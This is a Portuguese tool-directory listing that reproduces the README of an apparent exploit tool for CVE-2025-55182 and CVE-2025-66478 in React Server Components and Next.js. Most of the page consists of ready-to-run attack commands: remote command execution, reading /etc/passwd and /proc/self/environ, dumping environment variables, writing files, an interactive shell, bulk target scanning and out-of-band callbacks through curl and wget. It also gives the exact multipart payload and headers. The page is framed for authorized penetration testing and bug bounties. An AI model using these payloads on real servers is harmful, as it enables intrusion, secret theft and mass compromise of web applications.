Diretório de Ferramentas
Categorias
Ferramentas / GitHub / zemarkhos / cve-2025-55182-exploit-poc-scanner
zemarkhos/cve-2025-55182-exploit-poc-scanner
CVE-2025-55182-Exploit-PoC-Scanner Ferramenta de exploração para CVE-2025-55182 e CVE-2025-66478 em React Server Components e Next.js, com gadgets de RCE, leitura/escrita de arquivos, callbacks OOB e shell interativo para testes de segurança autorizados.
2 1 5 há 9 mesesDescubra as ferramentas mais usadas pela nossa comunidade.
Últimos 7 Dias Últimos 30 Dias
CVE-2025-55182 – Exploit de RCE em React Server Components v2.0
Uma ferramenta abrangente de pesquisa em segurança para testar as vulnerabilidades CVE-2025-55182 e CVE-2025-66478 em React Server Components (RSC) e Server Actions do Next.js.
Visão Geral da Vulnerabilidade
IDs de CVE CVE-2025-55182, CVE-2025-66478 Pontuação CVSS 10.0 (CRÍTICA) Versões Afetadas React < 19.2.0, Next.js < 15.0.5 Tipo de Vulnerabilidade Execução Remota de Código (RCE) Vetor de Ataque Rede
Recursos
Varredura de vulnerabilidades estilo PortSwigger com múltiplos payloads de detecção
Múltiplos gadgets de RCE (execSync, spawnSync, vm.runInThisContext, etc.)
Teste de callback Out-of-Band (OOB) para verificação de RCE cega
Capacidades de leitura/escrita de arquivos
Execução de código JavaScript
Modo de shell interativo
Varredura em lote com múltiplas threads
Suporte a proxy (compatível com Burp Suite)
Formatos de saída JSON/Texto
Instalação
Requisitos
Versão do Python
Início Rápido # Basic vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full vulnerability scan (recommended)
python3 exploit-custom.py -u https://target.com --scan
# With proxy (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# OOB callback test
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# Command execution
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Interactive shell
python3 exploit-custom.py -u https://target.com --shell
Uso
Argumentos de Linha de Comando usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
Seleção de Alvo Argumento Descrição Exemplo -u, --urlURL de um único alvo -u https://target.com-l, --listArquivo contendo URLs -l targets.txt
Modos de Varredura Argumento Descrição --detectDetecta o uso de Next.js/RSC --checkVerificação rápida de vulnerabilidade (teste matemático) --scanVarredura completa de vulnerabilidades (estilo PortSwigger) --test-allTesta todos os gadgets e payloads de detecção
Exploração Argumento Descrição Exemplo --cmdExecuta comando de shell --cmd "id"--gadgetEspecifica o gadget a usar --gadget execSync--readLê arquivo do alvo --read /etc/passwd--writeEscreve arquivo no alvo --write /tmp/test.txt "content"--jsExecuta código JavaScript --js "process.env"--shellInicia shell interativo --shell--oobHost de callback OOB --oob xyz.oastify.com
Opções de Conexão Argumento Descrição Exemplo -p, --proxyProxy HTTP/HTTPS -p http://127.0.0.1:8080-c, --cookiesString de cookie -c "session=abc123"-H, --headerCabeçalho extra (repetível) -H "X-Custom: value"-t, --threadsNúmero de threads para varredura em lote -t 20--timeoutTempo limite de requisição em segundos --timeout 60
Opções de Saída Argumento Descrição -o, --outputSalva resultados em arquivo (.json ou .txt) -q, --quietSuprime o banner
Exemplos de Varredura
Alvo Único # Detect Next.js and RSC
python3 exploit-custom.py -u https://target.com --detect
# Quick vulnerability check
python3 exploit-custom.py -u https://target.com --check
# Full scan with all detection payloads
python3 exploit-custom.py -u https://target.com --scan
# Test all gadgets with OOB verification
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
Varredura em Lote # Scan multiple targets
python3 exploit-custom.py -l targets.txt --scan -o results.json
# With increased threads
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# With OOB callbacks
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
Exemplos de Exploração
Execução de Comandos # Using default gadget (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# Using specific gadget
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
Operações de Arquivo # Read file
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# Write file
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
Execução de JavaScript # Get environment variables
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# Get hostname
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# List directory
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
Shell Interativo python3 exploit-custom.py -u https://target.com --shell
Comando Descrição <command>Executa comando de shell !read <file>Lê arquivo !write <file> <content>Escreve arquivo !js <code>Executa JavaScript !gadget <name>Alterna gadget exitSai do shell
Gadgets Disponíveis
Gadgets de RCE Nome Module ID Descrição execSyncchild_process#execSync Execução direta de comandos de shell execFileSyncchild_process#execFileSync Executa arquivo binário spawnSyncchild_process#spawnSync Cria processo com argumentos vm_runInThisContextvm#runInThisContext Executa JS no contexto atual vm_runInNewContextvm#runInNewContext Executa JS com escape da sandbox vm_runInThisContext_globalvm#runInThisContext Executa via global.process
Gadgets de Arquivo Nome Module ID Descrição fs_readFileSyncfs#readFileSync Lê arquivos arbitrários fs_writeFileSyncfs#writeFileSync Escreve arquivos arbitrários
Gadgets OOB Nome Descrição vm_fetchRequisição HTTP via API fetch (Node 18+) vm_httpRequisição HTTP via módulo http
Payloads de Detecção (CVE-2025-66478) O modo --scan usa estes payloads de detecção estilo PortSwigger:
Payload Descrição property_referenceReferência de propriedade delimitada por dois-pontos ["$1:a:a"] property_reference_v2Referência alternativa ["$1:b:b"] property_reference_constructorAcesso ao construtor via referência de propriedade property_reference_protoAcesso à cadeia proto via referência de propriedade action_ref_vmACTION_REF com vm#runInThisContext action_ref_execSyncACTION_REF com child_process#execSync
Métodos de Callback OOB A ferramenta suporta vários métodos de callback OOB:
Método Descrição curlRequisição HTTP via comando curl wgetRequisição HTTP via comando wget nslookupConsulta DNS pingPing ICMP fetchAPI fetch do Node.js httpMódulo http do Node.js
Interpretação de Saída
Cores do Terminal Cor Status Significado Verde [VULN]Vulnerável - RCE confirmada Amarelo [PATCH]Corrigido - Server Actions ativas, mas protegidas Azul [RSC]Server Actions detectadas Ciano [NEXT]Next.js detectado Vermelho [ERR]Erro de conexão
Resultados da Varredura [VULN] property_reference Vulnerable pattern detected!
-> Error digest pattern: E{"digest"... (needs OOB verification)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
Detalhes Técnicos
A ferramenta analisa as respostas no "flight format" dos React Server Components:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
Estrutura do Payload Multipart ------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
Cabeçalhos HTTP Necessários Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
Versões Corrigidas
React
Next.js
15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Casos de Uso
Bug Bounty # 1. Prepare target list
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. Bulk scan
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. Verify with OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
Teste de Penetração # 1. Detect technology
python3 exploit-custom.py -u https://target.com --detect
# 2. Analyze with Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. Exploit
python3 exploit-custom.py -u https://target.com --shell
Referências
Aviso Legal Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais .
AVISO: O acesso não autorizado a sistemas de computador é ilegal. Use esta ferramenta somente em sistemas que você possua ou para os quais tenha permissão explícita por escrito para testar.
Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.
Licença Esta ferramenta é disponibilizada para fins de pesquisa em segurança e testes de penetração autorizados.
Autor: Ünsal Furkan Harani
Versão: 2.0